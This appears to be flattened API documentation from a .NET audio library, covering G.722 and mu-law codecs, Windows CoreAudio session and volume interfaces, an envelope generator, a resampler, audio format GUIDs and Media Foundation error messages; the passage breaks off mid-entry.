Stores state to be used between calls to Encode or Decode Creates a new instance of G722 Codec State for a new encode or decode session Bitrate (typically 64000) Special options ITU Test Mode TRUE if the operating in the special ITU test mode, with the band split filters disabled. TRUE if the G.722 data is packed 8kHz Sampling TRUE if encode from 8k samples/second Bits Per Sample 6 for 48000kbps, 7 for 56000kbps, or 8 for 64000kbps. Signal history for the QMF (x) Band In bit buffer Number of bits in InBuffer Out bit buffer Number of bits in OutBuffer Band data for G722 Codec s sp sz r a ap p d b bp sg nb det G722 Flags None Using a G722 sample rate of 8000 Packed mu-law decoder based on code from: http://hazelware.luggle.com/tutorials/mulawcompression.html only 512 bytes required, so just use a lookup Converts a mu-law encoded byte to a 16 bit linear sample mu-law encoded byte Linear sample mu-law encoder based on code from: http://hazelware.luggle.com/tutorials/mulawcompression.html Encodes a single 16 bit sample to mu-law 16 bit PCM sample mu-law encoded byte Audio Capture Client Gets a pointer to the buffer Pointer to the buffer Gets a pointer to the buffer Number of frames to read Buffer flags Pointer to the buffer Gets the size of the next packet Release buffer Number of frames written Release the COM object Windows CoreAudio AudioClient Initializes the Audio Client Share Mode Stream Flags Buffer Duration Periodicity Wave Format Audio Session GUID (can be null) Determines whether if the specified output format is supported The share mode. The desired format. True if the format is supported Determines if the specified output format is supported in shared mode Share Mode Desired Format Output The closest match format. True if the format is supported Starts the audio stream Stops the audio stream. Set the Event Handle for buffer synchro. The Wait Handle to setup Resets the audio stream Reset is a control method that the client calls to reset a stopped audio stream. Resetting the stream flushes all pending data and resets the audio clock stream position to 0. This method fails if it is called on a stream that is not stopped Dispose Retrieves the stream format that the audio engine uses for its internal processing of shared-mode streams. Can be called before initialize Retrieves the size (maximum capacity) of the audio buffer associated with the endpoint. (must initialize first) Retrieves the maximum latency for the current stream and can be called any time after the stream has been initialized. Retrieves the number of frames of padding in the endpoint buffer (must initialize first) Retrieves the length of the periodic interval separating successive processing passes by the audio engine on the data in the endpoint buffer. (can be called before initialize) Gets the minimum device period (can be called before initialize) Returns the AudioStreamVolume service for this AudioClient. This returns the AudioStreamVolume object ONLY for shared audio streams. This is thrown when an exclusive audio stream is being used. Gets the AudioClockClient service Gets the AudioRenderClient service Gets the AudioCaptureClient service Audio Client Buffer Flags None AUDCLNT_BUFFERFLAGS_DATA_DISCONTINUITY AUDCLNT_BUFFERFLAGS_SILENT AUDCLNT_BUFFERFLAGS_TIMESTAMP_ERROR The AudioClientProperties structure is used to set the parameters that describe the properties of the client's audio stream. http://msdn.microsoft.com/en-us/library/windows/desktop/hh968105(v=vs.85).aspx The size of the buffer for the audio stream. Boolean value to indicate whether or not the audio stream is hardware-offloaded An enumeration that is used to specify the category of the audio stream. A bit-field describing the characteristics of the stream. Supported in Windows 8.1 and later. AUDCLNT_SHAREMODE AUDCLNT_SHAREMODE_SHARED, AUDCLNT_SHAREMODE_EXCLUSIVE AUDCLNT_STREAMFLAGS None AUDCLNT_STREAMFLAGS_CROSSPROCESS AUDCLNT_STREAMFLAGS_LOOPBACK AUDCLNT_STREAMFLAGS_EVENTCALLBACK AUDCLNT_STREAMFLAGS_NOPERSIST Defines values that describe the characteristics of an audio stream. No stream options. The audio stream is a 'raw' stream that bypasses all signal processing except for endpoint specific, always-on processing in the APO, driver, and hardware. Audio Clock Client Get Position Dispose Characteristics Frequency Adjusted Position Can Adjust Position Audio Endpoint Volume Channel Volume Level Volume Level Scalar Audio Endpoint Volume Channels Channel Count Indexer - get a specific channel Audio Endpoint Volume Notifiaction Delegate Audio Volume Notification Data Audio Endpoint Volume Step Information Step StepCount Audio Endpoint Volume Volume Range Minimum Decibels Maximum Decibels Increment Decibels Audio Meter Information Channels Metering Channel Count Get Peak value Channel index Peak value Audio Render Client Gets a pointer to the buffer Number of frames requested Pointer to the buffer Release buffer Number of frames written Buffer flags Release the COM object AudioSessionControl object for information regarding an audio session Constructor. Dispose Finalizer the grouping param for an audio session grouping For chanigng the grouping param and supplying the context of said change Registers an even client for callbacks Unregisters an event client from receiving callbacks Audio meter information of the audio session. Simple audio volume of the audio session (for volume and mute status). The current state of the audio session. The name of the audio session. the path to the icon shown in the mixer. The session identifier of the audio session. The session instance identifier of the audio session. The process identifier of the audio session. Is the session a system sounds session. AudioSessionEvents callback implementation Windows CoreAudio IAudioSessionControl interface Defined in AudioPolicy.h Notifies the client that the display name for the session has changed. The new display name for the session. A user context value that is passed to the notification callback. An HRESULT code indicating whether the operation succeeded of failed. Notifies the client that the display icon for the session has changed. The path for the new display icon for the session. A user context value that is passed to the notification callback. An HRESULT code indicating whether the operation succeeded of failed. Notifies the client that the volume level or muting state of the session has changed. The new volume level for the audio session. The new muting state. A user context value that is passed to the notification callback. An HRESULT code indicating whether the operation succeeded of failed. Notifies the client that the volume level of an audio channel in the session submix has changed. The channel count. An array of volumnes cooresponding with each channel index. The number of the channel whose volume level changed. A user context value that is passed to the notification callback. An HRESULT code indicating whether the operation succeeded of failed. Notifies the client that the grouping parameter for the session has changed. The new grouping parameter for the session. A user context value that is passed to the notification callback. An HRESULT code indicating whether the operation succeeded of failed. Notifies the client that the stream-activity state of the session has changed. The new session state. An HRESULT code indicating whether the operation succeeded of failed. Notifies the client that the session has been disconnected. The reason that the audio session was disconnected. An HRESULT code indicating whether the operation succeeded of failed. Constructor. Notifies the client that the display name for the session has changed. The new display name for the session. A user context value that is passed to the notification callback. An HRESULT code indicating whether the operation succeeded of failed. Notifies the client that the display icon for the session has changed. The path for the new display icon for the session. A user context value that is passed to the notification callback. An HRESULT code indicating whether the operation succeeded of failed. Notifies the client that the volume level or muting state of the session has changed. The new volume level for the audio session. The new muting state. A user context value that is passed to the notification callback. An HRESULT code indicating whether the operation succeeded of failed. Notifies the client that the volume level of an audio channel in the session submix has changed. The channel count. An array of volumnes cooresponding with each channel index. The number of the channel whose volume level changed. A user context value that is passed to the notification callback. An HRESULT code indicating whether the operation succeeded of failed. Notifies the client that the grouping parameter for the session has changed. The new grouping parameter for the session. A user context value that is passed to the notification callback. An HRESULT code indicating whether the operation succeeded of failed. Notifies the client that the stream-activity state of the session has changed. The new session state. An HRESULT code indicating whether the operation succeeded of failed. Notifies the client that the session has been disconnected. The reason that the audio session was disconnected. An HRESULT code indicating whether the operation succeeded of failed. AudioSessionManager Designed to manage audio sessions and in particuar the SimpleAudioVolume interface to adjust a session volume Refresh session of current device. Dispose. Finalizer. Occurs when audio session has been added (for example run another program that use audio playback). SimpleAudioVolume object for adjusting the volume for the user session AudioSessionControl object for registring for callbacks and other session information Returns list of sessions of current device. Windows CoreAudio IAudioSessionNotification interface Defined in AudioPolicy.h session being added An HRESULT code indicating whether the operation succeeded of failed. Specifies the category of an audio stream. Other audio stream. Media that will only stream when the app is in the foreground. Media that can be streamed when the app is in the background. Real-time communications, such as VOIP or chat. Alert sounds. Sound effects. Game sound effects. Background audio for games. Manages the AudioStreamVolume for the . Verify that the channel index is valid. Return the current stream volumes for all channels An array of volume levels between 0.0 and 1.0 for each channel in the audio stream. Return the current volume for the requested channel. The 0 based index into the channels. The volume level for the channel between 0.0 and 1.0. Set the volume level for each channel of the audio stream. An array of volume levels (between 0.0 and 1.0) one for each channel. A volume level MUST be supplied for reach channel in the audio stream. Thrown when does not contain elements. Sets the volume level for one channel in the audio stream. The 0-based index into the channels to adjust the volume of. The volume level between 0.0 and 1.0 for this channel of the audio stream. Dispose Release/cleanup objects during Dispose/finalization. True if disposing and false if being finalized. Returns the current number of channels in this audio stream. Audio Volume Notification Data Audio Volume Notification Data Event Context Muted Master Volume Channels Channel Volume AUDCLNT_E_NOT_INITIALIZED AUDCLNT_E_UNSUPPORTED_FORMAT AUDCLNT_E_DEVICE_IN_USE Defined in AudioClient.h Defined in AudioClient.h Windows CoreAudio IAudioSessionControl interface Defined in AudioPolicy.h Retrieves the current state of the audio session. Receives the current session state. An HRESULT code indicating whether the operation succeeded of failed. Retrieves the display name for the audio session. Receives a string that contains the display name. An HRESULT code indicating whether the operation succeeded of failed. Assigns a display name to the current audio session. A string that contains the new display name for the session. A user context value that is passed to the notification callback. An HRESULT code indicating whether the operation succeeded of failed. Retrieves the path for the display icon for the audio session. Receives a string that specifies the fully qualified path of the file that contains the icon. An HRESULT code indicating whether the operation succeeded of failed. Assigns a display icon to the current session. A string that specifies the fully qualified path of the file that contains the new icon. A user context value that is passed to the notification callback. An HRESULT code indicating whether the operation succeeded of failed. Retrieves the grouping parameter of the audio session. Receives the grouping parameter ID. An HRESULT code indicating whether the operation succeeded of failed. Assigns a session to a grouping of sessions. The new grouping parameter ID. A user context value that is passed to the notification callback. An HRESULT code indicating whether the operation succeeded of failed. Registers the client to receive notifications of session events, including changes in the session state. A client-implemented interface. An HRESULT code indicating whether the operation succeeded of failed. Deletes a previous registration by the client to receive notifications. A client-implemented interface. An HRESULT code indicating whether the operation succeeded of failed. Windows CoreAudio IAudioSessionControl interface Defined in AudioPolicy.h Retrieves the current state of the audio session. Receives the current session state. An HRESULT code indicating whether the operation succeeded of failed. Retrieves the display name for the audio session. Receives a string that contains the display name. An HRESULT code indicating whether the operation succeeded of failed. Assigns a display name to the current audio session. A string that contains the new display name for the session. A user context value that is passed to the notification callback. An HRESULT code indicating whether the operation succeeded of failed. Retrieves the path for the display icon for the audio session. Receives a string that specifies the fully qualified path of the file that contains the icon. An HRESULT code indicating whether the operation succeeded of failed. Assigns a display icon to the current session. A string that specifies the fully qualified path of the file that contains the new icon. A user context value that is passed to the notification callback. An HRESULT code indicating whether the operation succeeded of failed. Retrieves the grouping parameter of the audio session. Receives the grouping parameter ID. An HRESULT code indicating whether the operation succeeded of failed. Assigns a session to a grouping of sessions. The new grouping parameter ID. A user context value that is passed to the notification callback. An HRESULT code indicating whether the operation succeeded of failed. Registers the client to receive notifications of session events, including changes in the session state. A client-implemented interface. An HRESULT code indicating whether the operation succeeded of failed. Deletes a previous registration by the client to receive notifications. A client-implemented interface. An HRESULT code indicating whether the operation succeeded of failed. Retrieves the identifier for the audio session. Receives the session identifier. An HRESULT code indicating whether the operation succeeded of failed. Retrieves the identifier of the audio session instance. Receives the identifier of a particular instance. An HRESULT code indicating whether the operation succeeded of failed. Retrieves the process identifier of the audio session. Receives the process identifier of the audio session. An HRESULT code indicating whether the operation succeeded of failed. Indicates whether the session is a system sounds session. An HRESULT code indicating whether the operation succeeded of failed. Enables or disables the default stream attenuation experience (auto-ducking) provided by the system. A variable that enables or disables system auto-ducking. An HRESULT code indicating whether the operation succeeded of failed. Defines constants that indicate the current state of an audio session. MSDN Reference: http://msdn.microsoft.com/en-us/library/dd370792.aspx The audio session is inactive. The audio session is active. The audio session has expired. Defines constants that indicate a reason for an audio session being disconnected. MSDN Reference: Unknown The user removed the audio endpoint device. The Windows audio service has stopped. The stream format changed for the device that the audio session is connected to. The user logged off the WTS session that the audio session was running in. The WTS session that the audio session was running in was disconnected. The (shared-mode) audio session was disconnected to make the audio endpoint device available for an exclusive-mode connection. interface to receive session related events notification of volume changes including muting of audio session the current volume the current mute state, true muted, false otherwise notification of display name changed the current display name notification of icon path changed the current icon path notification of the client that the volume level of an audio channel in the session submix has changed The channel count. An array of volumnes cooresponding with each channel index. The number of the channel whose volume level changed. notification of the client that the grouping parameter for the session has changed >The new grouping parameter for the session. notification of the client that the stream-activity state of the session has changed The new session state. notification of the client that the session has been disconnected The reason that the audio session was disconnected. Windows CoreAudio IAudioSessionManager interface Defined in AudioPolicy.h Retrieves an audio session control. A new or existing session ID. Audio session flags. Receives an interface for the audio session. An HRESULT code indicating whether the operation succeeded of failed. Retrieves a simple audio volume control. A new or existing session ID. Audio session flags. Receives an interface for the audio session. An HRESULT code indicating whether the operation succeeded of failed. Retrieves an audio session control. A new or existing session ID. Audio session flags. Receives an interface for the audio session. An HRESULT code indicating whether the operation succeeded of failed. Retrieves a simple audio volume control. A new or existing session ID. Audio session flags. Receives an interface for the audio session. An HRESULT code indicating whether the operation succeeded of failed. Windows CoreAudio ISimpleAudioVolume interface Defined in AudioClient.h Sets the master volume level for the audio session. The new volume level expressed as a normalized value between 0.0 and 1.0. A user context value that is passed to the notification callback. An HRESULT code indicating whether the operation succeeded of failed. Retrieves the client volume level for the audio session. Receives the volume level expressed as a normalized value between 0.0 and 1.0. An HRESULT code indicating whether the operation succeeded of failed. Sets the muting state for the audio session. The new muting state. A user context value that is passed to the notification callback. An HRESULT code indicating whether the operation succeeded of failed. Retrieves the current muting state for the audio session. Receives the muting state. An HRESULT code indicating whether the operation succeeded of failed. Multimedia Device Collection Get Enumerator Device enumerator Device count Get device by index Device index Device at the specified index Property Keys PKEY_DeviceInterface_FriendlyName PKEY_AudioEndpoint_FormFactor PKEY_AudioEndpoint_ControlPanelPageProvider PKEY_AudioEndpoint_Association PKEY_AudioEndpoint_PhysicalSpeakers PKEY_AudioEndpoint_GUID PKEY_AudioEndpoint_Disable_SysFx PKEY_AudioEndpoint_FullRangeSpeakers PKEY_AudioEndpoint_Supports_EventDriven_Mode PKEY_AudioEndpoint_JackSubType PKEY_AudioEngine_DeviceFormat PKEY_AudioEngine_OEMFormat PKEY _Devie_FriendlyName PKEY _Device_IconPath Collection of sessions. Returns session at index. Number of current sessions. Windows CoreAudio SimpleAudioVolume Creates a new Audio endpoint volume ISimpleAudioVolume COM interface Dispose Finalizer Allows the user to adjust the volume from 0.0 to 1.0 Mute Envelope generator (ADSR) Creates and Initializes an Envelope Generator Sets the attack curve Sets the decay release curve Read the next volume multiplier from the envelope generator A volume multiplier Trigger the gate If true, enter attack phase, if false enter release phase (unless already idle) Reset to idle state Get the current output level Attack Rate (seconds * SamplesPerSecond) Decay Rate (seconds * SamplesPerSecond) Release Rate (seconds * SamplesPerSecond) Sustain Level (1 = 100%) Current envelope state Envelope State Idle Attack Decay Sustain Release Fully managed resampler, based on Cockos WDL Resampler Creates a new Resampler sets the mode if sinc set, it overrides interp or filtercnt Sets the filter parameters used for filtercnt>0 but not sinc Set feed mode if true, that means the first parameter to ResamplePrepare will specify however much input you have, not how much you want Reset Prepare note that it is safe to call ResamplePrepare without calling ResampleOut (the next call of ResamplePrepare will function as normal) nb inbuffer was WDL_ResampleSample **, returning a place to put the in buffer, so we return a buffer and offset req_samples is output samples desired if !wantInputDriven, or if wantInputDriven is input samples that we have returns number of samples desired (put these into *inbuffer) http://tech.ebu.ch/docs/tech/tech3306-2009.pdf WaveFormat Data Chunk Position Data Chunk Length Riff Chunks Audio Subtype GUIDs http://msdn.microsoft.com/en-us/library/windows/desktop/aa372553%28v=vs.85%29.aspx Advanced Audio Coding (AAC). Not used Dolby AC-3 audio over Sony/Philips Digital Interface (S/PDIF). Encrypted audio data used with secure audio path. Digital Theater Systems (DTS) audio. Uncompressed IEEE floating-point audio. MPEG Audio Layer-3 (MP3). MPEG-1 audio payload. Windows Media Audio 9 Voice codec. Uncompressed PCM audio. Windows Media Audio 9 Professional codec over S/PDIF. Windows Media Audio 9 Lossless codec or Windows Media Audio 9.1 codec. Windows Media Audio 8 codec, Windows Media Audio 9 codec, or Windows Media Audio 9.1 codec. Windows Media Audio 9 Professional codec or Windows Media Audio 9.1 Professional codec. Dolby Digital (AC-3). MPEG-4 and AAC Audio Types http://msdn.microsoft.com/en-us/library/windows/desktop/dd317599(v=vs.85).aspx Reference : wmcodecdsp.h Dolby Audio Types http://msdn.microsoft.com/en-us/library/windows/desktop/dd317599(v=vs.85).aspx Reference : wmcodecdsp.h Dolby Audio Types http://msdn.microsoft.com/en-us/library/windows/desktop/dd317599(v=vs.85).aspx Reference : wmcodecdsp.h μ-law coding http://msdn.microsoft.com/en-us/library/windows/desktop/dd390971(v=vs.85).aspx Reference : Ksmedia.h Adaptive delta pulse code modulation (ADPCM) http://msdn.microsoft.com/en-us/library/windows/desktop/dd390971(v=vs.85).aspx Reference : Ksmedia.h Dolby Digital Plus formatted for HDMI output. http://msdn.microsoft.com/en-us/library/windows/hardware/ff538392(v=vs.85).aspx Reference : internet MSAudio1 - unknown meaning Reference : wmcodecdsp.h IMA ADPCM ACM Wrapper WMSP2 - unknown meaning Reference: wmsdkidl.h Creates an instance of either the sink writer or the source reader. Creates an instance of the sink writer or source reader, given a URL. Creates an instance of the sink writer or source reader, given an IUnknown pointer. CLSID_MFReadWriteClassFactory Media Foundation Errors RANGES 14000 - 14999 = General Media Foundation errors 15000 - 15999 = ASF parsing errors 16000 - 16999 = Media Source errors 17000 - 17999 = MEDIAFOUNDATION Network Error Events 18000 - 18999 = MEDIAFOUNDATION WMContainer Error Events 19000 - 19999 = MEDIAFOUNDATION Media Sink Error Events 20000 - 20999 = Renderer errors 21000 - 21999 = Topology Errors 25000 - 25999 = Timeline Errors 26000 - 26999 = Unused 28000 - 28999 = Transform errors 29000 - 29999 = Content Protection errors 40000 - 40999 = Clock errors 41000 - 41999 = MF Quality Management Errors 42000 - 42999 = MF Transcode API Errors MessageId: MF_E_PLATFORM_NOT_INITIALIZED MessageText: Platform not initialized. Please call MFStartup().%0 MessageId: MF_E_BUFFERTOOSMALL MessageText: The buffer was too small to carry out the requested action.%0 MessageId: MF_E_INVALIDREQUEST MessageText: The request is invalid in the current state.%0 MessageId: MF_E_INVALIDSTREAMNUMBER MessageText: The stream number provided was invalid.%0 MessageId: MF_E_INVALIDMEDIATYPE MessageText: The data specified for the media type is invalid, inconsistent, or not supported by this object.%0 MessageId: MF_E_NOTACCEPTING MessageText: The callee is currently not accepting further input.%0 MessageId: MF_E_NOT_INITIALIZED MessageText: This object needs to be initialized before the requested operation can be carried out.%0 MessageId: MF_E_UNSUPPORTED_REPRESENTATION MessageText: The requested representation is not supported by this object.%0 MessageId: MF_E_NO_MORE_TYPES MessageText: An object ran out of media types to suggest therefore the requested chain of streaming objects cannot be completed.%0 MessageId: MF_E_UNSUPPORTED_SERVICE MessageText: The object does not support the specified service.%0 MessageId: MF_E_UNEXPECTED MessageText: An unexpected error has occurred in the operation requested.%0 MessageId: MF_E_INVALIDNAME MessageText: Invalid name.%0 MessageId: MF_E_INVALIDTYPE MessageText: Invalid type.%0 MessageId: MF_E_INVALID_FILE_FORMAT MessageText: The file does not conform to the relevant file format specification. MessageId: MF_E_INVALIDINDEX MessageText: Invalid index.%0 MessageId: MF_E_INVALID_TIMESTAMP MessageText: An invalid timestamp was given.%0 MessageId: MF_E_UNSUPPORTED_SCHEME MessageText: The scheme of the given URL is unsupported.%0 MessageId: MF_E_UNSUPPORTED_BYTESTREAM_TYPE MessageText: The byte stream type of the given URL is unsupported.%0 MessageId: MF_E_UNSUPPORTED_TIME_FORMAT MessageText: The given time format is unsupported.%0 MessageId: MF_E_NO_SAMPLE_TIMESTAMP MessageText: The Media Sample does not have a timestamp.%0 MessageId: MF_E_NO_SAMPLE_DURATION MessageText: The Media Sample does not have a duration.%0 MessageId: MF_E_INVALID_STREAM_DATA MessageText: The request failed because the data in the stream is corrupt.%0\n. MessageId: MF_E_RT_UNAVAILABLE MessageText: Real time services are not available.%0 MessageId: MF_E_UNSUPPORTED_RATE MessageText: The specified rate is not supported.%0 MessageId: MF_E_THINNING_UNSUPPORTED MessageText: This component does not support stream-thinning.%0 MessageId: MF_E_REVERSE_UNSUPPORTED MessageText: The call failed because no reverse playback rates are available.%0 MessageId: MF_E_UNSUPPORTED_RATE_TRANSITION MessageText: The requested rate transition cannot occur in the current state.%0 MessageId: MF_E_RATE_CHANGE_PREEMPTED MessageText: The requested rate change has been pre-empted and will not occur.%0 MessageId: MF_E_NOT_FOUND MessageText: The specified object or value does not exist.%0 MessageId: MF_E_NOT_AVAILABLE MessageText: The requested value is not available.%0 MessageId: MF_E_NO_CLOCK MessageText: The specified operation requires a clock and no clock is available.%0 MessageId: MF_S_MULTIPLE_BEGIN MessageText: This callback and state had already been passed in to this event generator earlier.%0 MessageId: MF_E_MULTIPLE_BEGIN MessageText: This callback has already been passed in to this event generator.%0 MessageId: MF_E_MULTIPLE_SUBSCRIBERS MessageText: Some component is already listening to events on this event generator.%0 MessageId: MF_E_TIMER_ORPHANED MessageText: This timer was orphaned before its callback time arrived.%0 MessageId: MF_E_STATE_TRANSITION_PENDING MessageText: A state transition is already pending.%0 MessageId: MF_E_UNSUPPORTED_STATE_TRANSITION MessageText: The requested state transition is unsupported.%0 MessageId: MF_E_UNRECOVERABLE_ERROR_OCCURRED MessageText: An unrecoverable error has occurred.%0 MessageId: MF_E_SAMPLE_HAS_TOO_MANY_BUFFERS MessageText: The provided sample has too many buffers.%0 MessageId: MF_E_SAMPLE_NOT_WRITABLE MessageText: The provided sample is not writable.%0 MessageId: MF_E_INVALID_KEY MessageText: The specified key is not valid. MessageId: MF_E_BAD_STARTUP_VERSION MessageText: You are calling MFStartup with the wrong MF_VERSION. Mismatched bits? MessageId: MF_E_UNSUPPORTED_CAPTION MessageText: The caption of the given URL is unsupported.%0 MessageId: MF_E_INVALID_POSITION MessageText: The operation on the current offset is not permitted.%0 MessageId: MF_E_ATTRIBUTENOTFOUND MessageText: The requested attribute was not found.%0 MessageId: MF_E_PROPERTY_TYPE_NOT_ALLOWED MessageText: The specified property type is not allowed in this context.%0 MessageId: MF_E_PROPERTY_TYPE_NOT_SUPPORTED MessageText: The specified property type is not supported.%0 MessageId: MF_E_PROPERTY_EMPTY MessageText: The specified property is empty.%0 MessageId: MF_E_PROPERTY_NOT_EMPTY MessageText: The specified property is not empty.%0 MessageId: MF_E_PROPERTY_VECTOR_NOT_ALLOWED MessageText: The vector property specified is not allowed in this context.%0 MessageId: MF_E_PROPERTY_VECTOR_REQUIRED MessageText: A vector property is required in this context.%0 MessageId: MF_E_OPERATION_CANCELLED MessageText: The operation is cancelled.%0 MessageId: MF_E_BYTESTREAM_NOT_SEEKABLE MessageText: The provided bytestream was expected to be seekable and it is not.%0 MessageId: MF_E_DISABLED_IN_SAFEMODE MessageText: The Media Foundation platform is disabled when the system is running in Safe Mode.%0 MessageId: MF_E_CANNOT_PARSE_BYTESTREAM MessageText: The Media Source could not parse the byte stream.%0 MessageId: MF_E_SOURCERESOLVER_MUTUALLY_EXCLUSIVE_FLAGS MessageText: Mutually exclusive flags have been specified to source resolver. This flag combination is invalid.%0 MessageId: MF_E_MEDIAPROC_WRONGSTATE MessageText: MediaProc is in the wrong state%0 MessageId: MF_E_RT_THROUGHPUT_NOT_AVAILABLE MessageText: Real time I/O service can not provide requested throughput.%0 MessageId: MF_E_RT_TOO_MANY_CLASSES MessageText: The workqueue cannot be registered with more classes.%0 MessageId: MF_E_RT_WOULDBLOCK MessageText: This operation cannot succeed because another thread owns this object.%0 MessageId: MF_E_NO_BITPUMP MessageText: Internal. Bitpump not found.%0 MessageId: MF_E_RT_OUTOFMEMORY MessageText: No more RT memory available.%0 MessageId: MF_E_RT_WORKQUEUE_CLASS_NOT_SPECIFIED MessageText: An MMCSS class has not been set for this work queue.%0 MessageId: MF_E_INSUFFICIENT_BUFFER MessageText: Insufficient memory for response.%0 MessageId: MF_E_CANNOT_CREATE_SINK MessageText: Activate failed to create mediasink. Call OutputNode::GetUINT32(MF_TOPONODE_MAJORTYPE) for more information. %0 MessageId: MF_E_BYTESTREAM_UNKNOWN_LENGTH MessageText: The length of the provided bytestream is unknown.%0 MessageId: MF_E_SESSION_PAUSEWHILESTOPPED MessageText: The media session cannot pause from a stopped state.%0 MessageId: MF_S_ACTIVATE_REPLACED MessageText: The activate could not be created in the remote process for some reason it was replaced with empty one.%0 MessageId: MF_E_FORMAT_CHANGE_NOT_SUPPORTED MessageText: The data specified for the media type is supported, but would require a format change, which is not supported by this object.%0 MessageId: MF_E_INVALID_WORKQUEUE MessageText: The operation failed because an invalid combination of workqueue ID and flags was specified.%0 MessageId: MF_E_DRM_UNSUPPORTED MessageText: No DRM support is available.%0 MessageId: MF_E_UNAUTHORIZED MessageText: This operation is not authorized.%0 MessageId: MF_E_OUT_OF_RANGE MessageText: The value is not in the specified or valid range.%0 MessageId: MF_E_INVALID_CODEC_MERIT MessageText: The registered codec merit is not valid.%0 MessageId: MF_E_HW_MFT_FAILED_START_STREAMING MessageText: Hardware MFT failed to start streaming due to lack of hardware resources.%0 MessageId: MF_S_ASF_PARSEINPROGRESS MessageText: Parsing is still in progress and is not yet complete.%0 MessageId: MF_E_ASF_PARSINGINCOMPLETE MessageText: Not enough data have been parsed to carry out the requested action.%0 MessageId: MF_E_ASF_MISSINGDATA MessageText: There is a gap in the ASF data provided.%0 MessageId: MF_E_ASF_INVALIDDATA MessageText: The data provided are not valid ASF.%0 MessageId: MF_E_ASF_OPAQUEPACKET MessageText: The packet is opaque, so the requested information cannot be returned.%0 MessageId: MF_E_ASF_NOINDEX MessageText: The requested operation failed since there is no appropriate ASF index.%0 MessageId: MF_E_ASF_OUTOFRANGE MessageText: The value supplied is out of range for this operation.%0 MessageId: MF_E_ASF_INDEXNOTLOADED MessageText: The index entry requested needs to be loaded before it can be available.%0 MessageId: MF_E_ASF_TOO_MANY_PAYLOADS MessageText: The packet has reached the maximum number of payloads.%0 MessageId: MF_E_ASF_UNSUPPORTED_STREAM_TYPE MessageText: Stream type is not supported.%0 MessageId: MF_E_ASF_DROPPED_PACKET MessageText: One or more ASF packets were dropped.%0 MessageId: MF_E_NO_EVENTS_AVAILABLE MessageText: There are no events available in the queue.%0 MessageId: MF_E_INVALID_STATE_TRANSITION MessageText: A media source cannot go from the stopped state to the paused state.%0 MessageId: MF_E_END_OF_STREAM MessageText: The media stream cannot process any more samples because there are no more samples in the stream.%0 MessageId: MF_E_SHUTDOWN MessageText: The request is invalid because Shutdown() has been called.%0 MessageId: MF_E_MP3_NOTFOUND MessageText: The MP3 object was not found.%0 MessageId: MF_E_MP3_OUTOFDATA MessageText: The MP3 parser ran out of data before finding the MP3 object.%0 MessageId: MF_E_MP3_NOTMP3 MessageText: The file is not really a MP3 file.%0 MessageId: MF_E_MP3_NOTSUPPORTED MessageText: The MP3 file is not supported.%0 MessageId: MF_E_NO_DURATION MessageText: The Media stream has no duration.%0 MessageId: MF_E_INVALID_FORMAT MessageText: The Media format is recognized but is invalid.%0 MessageId: MF_E_PROPERTY_NOT_FOUND MessageText: The property requested was not found.%0 MessageId: MF_E_PROPERTY_READ_ONLY MessageText: The property is read only.%0 MessageId: MF_E_PROPERTY_NOT_ALLOWED MessageText: The specified property is not allowed in this context.%0 MessageId: MF_E_MEDIA_SOURCE_NOT_STARTED MessageText: The media source is not started.%0 MessageId: MF_E_UNSUPPORTED_FORMAT MessageText: The Media format is recognized but not supported.%0 MessageId: MF_E_MP3_BAD_CRC MessageText: The MPEG frame has bad CRC.%0 MessageId: MF_E_NOT_PROTECTED MessageText: The file is not protected.%0 MessageId: MF_E_MEDIA_SOURCE_WRONGSTATE MessageText: The media source is in the wrong state%0 MessageId: MF_E_MEDIA_SOURCE_NO_STREAMS_SELECTED MessageText: No streams are selected in source presentation descriptor.%0 MessageId: MF_E_CANNOT_FIND_KEYFRAME_SAMPLE MessageText: No key frame sample was found.%0 MessageId: MF_E_NETWORK_RESOURCE_FAILURE MessageText: An attempt to acquire a network resource failed.%0 MessageId: MF_E_NET_WRITE MessageText: Error writing to the network.%0 MessageId: MF_E_NET_READ MessageText: Error reading from the network.%0 MessageId: MF_E_NET_REQUIRE_NETWORK MessageText: Internal. Entry cannot complete operation without network.%0 MessageId: MF_E_NET_REQUIRE_ASYNC MessageText: Internal. Async op is required.%0 MessageId: MF_E_NET_BWLEVEL_NOT_SUPPORTED MessageText: Internal. Bandwidth levels are not supported.%0 MessageId: MF_E_NET_STREAMGROUPS_NOT_SUPPORTED MessageText: Internal. Stream groups are not supported.%0 MessageId: MF_E_NET_MANUALSS_NOT_SUPPORTED MessageText: Manual stream selection is not supported.%0 MessageId: MF_E_NET_INVALID_PRESENTATION_DESCRIPTOR MessageText: Invalid presentation descriptor.%0 MessageId: MF_E_NET_CACHESTREAM_NOT_FOUND MessageText: Cannot find cache stream.%0 MessageId: MF_I_MANUAL_PROXY MessageText: The proxy setting is manual.%0 duplicate removed MessageId=17011 Severity=Informational Facility=MEDIAFOUNDATION SymbolicName=MF_E_INVALID_REQUEST Language=English The request is invalid in the current state.%0 . MessageId: MF_E_NET_REQUIRE_INPUT MessageText: Internal. Entry cannot complete operation without input.%0 MessageId: MF_E_NET_REDIRECT MessageText: The client redirected to another server.%0 MessageId: MF_E_NET_REDIRECT_TO_PROXY MessageText: The client is redirected to a proxy server.%0 MessageId: MF_E_NET_TOO_MANY_REDIRECTS MessageText: The client reached maximum redirection limit.%0 MessageId: MF_E_NET_TIMEOUT MessageText: The server, a computer set up to offer multimedia content to other computers, could not handle your request for multimedia content in a timely manner. Please try again later.%0 MessageId: MF_E_NET_CLIENT_CLOSE MessageText: The control socket is closed by the client.%0 MessageId: MF_E_NET_BAD_CONTROL_DATA MessageText: The server received invalid data from the client on the control connection.%0 MessageId: MF_E_NET_INCOMPATIBLE_SERVER MessageText: The server is not a compatible streaming media server.%0 MessageId: MF_E_NET_UNSAFE_URL MessageText: Url.%0 MessageId: MF_E_NET_CACHE_NO_DATA MessageText: Data is not available.%0 MessageId: MF_E_NET_EOL MessageText: End of line.%0 MessageId: MF_E_NET_BAD_REQUEST MessageText: The request could not be understood by the server.%0 MessageId: MF_E_NET_INTERNAL_SERVER_ERROR MessageText: The server encountered an unexpected condition which prevented it from fulfilling the request.%0 MessageId: MF_E_NET_SESSION_NOT_FOUND MessageText: Session not found.%0 MessageId: MF_E_NET_NOCONNECTION MessageText: There is no connection established with the Windows Media server. The operation failed.%0 MessageId: MF_E_NET_CONNECTION_FAILURE MessageText: The network connection has failed.%0 MessageId: MF_E_NET_INCOMPATIBLE_PUSHSERVER MessageText: The Server service that received the HTTP push request is not a compatible version of Windows Media Services (WMS). This error may indicate the push request was received by IIS instead of WMS. Ensure WMS is started and has the HTTP Server control protocol properly enabled and try again.%0 MessageId: 